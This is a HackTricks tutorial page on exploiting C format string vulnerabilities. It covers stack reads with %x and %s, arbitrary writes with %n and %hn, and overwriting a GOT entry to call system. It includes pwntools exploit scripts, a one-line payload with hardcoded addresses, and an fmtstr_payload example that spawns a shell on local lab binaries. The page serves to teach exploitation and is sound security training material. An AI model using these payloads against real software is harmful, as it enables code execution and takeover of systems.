hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
2024-07-18 22:49:07 +02:00

9.4 KiB

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

In C printf is a function that can be used to print some string. The first parameter this function expects is the raw text with the formatters. The following parameters expected are the values to substitute the formatters from the raw text.

The vulnerability appears when an attacker text is used as the first argument to this function. The attacker will be able to craft a special input abusing the printf format string capabilities to read and write any data in any address (readable/writable). Being able this way to execute arbitrary code.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Examples:

  • Vulnerable example:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normal Use:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • With Missing Arguments:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Accessing Pointers

The format %<n>$x, where n is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:

printf("%x %x %x %x")

and you would read from the first to the forth param.

Or you could do:

printf("$4%x")

and read directly the forth.

Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

{% hint style="danger" %} An attacker controlling this input, will be able to add arbitrary address in the stack and make printf access them. In the next section it will be explained how to use this behaviour. {% endhint %}

Arbitrary Read

It's possible to use the formatter $n%s to make printf get the address situated in the n position, following it and print it as if it was a string (print until a 0x00 is found). So if the base address of the binary is 0x8048000, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Note that you cannot put the address 0x8048000 at the begining of the input because the string will be cat in 0x00 at the end of that address. {% endhint %}

Arbitrary Write

The formatter $<num>%n writes the number of written bytes in the indicated address in the <num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make $<num>%n write an arbitrary number in an arbitrary address.

Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter %.<num-write>%<num>$n to write the number <num-write> in the address pointed by the num position.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

However, note that usually in order to write an address such as 0x08049724 (which is a HUGE number to write at once), it's used $hn instead of $n. This allows to only write 2 Bytes. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.

Therefore, this vulnerability allows to write anything in any address (arbitrary write).

In this example, the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

We are going to overwrite a function that receives its arguments from the user and point it to the system function.
As mentioned, to write the address, usually 2 steps are needed: You first writes 2Bytes of the address and then the other 2. To do so $hn is used.

  • HOB is called to the 2 higher bytes of the address
  • LOB is called to the 2 lower bytes of the address

Then, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.

If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools Template

You can find a template to prepare a exploit for this kind of vulnerability in:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Or this basic example from here:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Other Examples & References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}